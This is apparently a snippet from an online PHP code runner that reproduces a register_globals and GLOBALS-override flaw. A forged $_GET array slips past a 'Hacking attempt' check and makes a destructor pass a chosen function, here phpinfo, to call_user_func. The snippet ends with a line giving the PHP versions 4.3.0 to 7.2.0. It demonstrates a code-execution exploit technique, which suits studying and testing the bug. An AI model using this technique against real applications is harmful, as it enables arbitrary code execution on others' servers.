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run code in 200+ php & hhvm versions
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<?php $_GET = array('GLOBALS'=>'1', 'shutdown_functions'=>array('function'=>'phpinfo', 'arguments'=>'1')); class Core { function __construct() { $protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS"); foreach($protected as $var) { if(isset($_REQUEST[$var]) || isset($_FILES[$var])) { exit("Hacking attempt"); } } if(@ini_get("register_globals") == 1) { $this->unset_globals($_POST); $this->unset_globals($_GET); $this->unset_globals($_FILES); $this->unset_globals($_COOKIE); } } function unset_globals($array) { if(!is_array($array)) { return; } foreach(array_keys($array) as $key) { unset($GLOBALS[$key]); } } function __destruct() { global $shutdown_functions; if($shutdown_functions && is_array($shutdown_functions)) { call_user_func($shutdown_functions['function'], $shutdown_functions['arguments']); } } } $core = new Core; $shutdown_functions = array(); ?>
Output for 4.3.0 - 7.2.0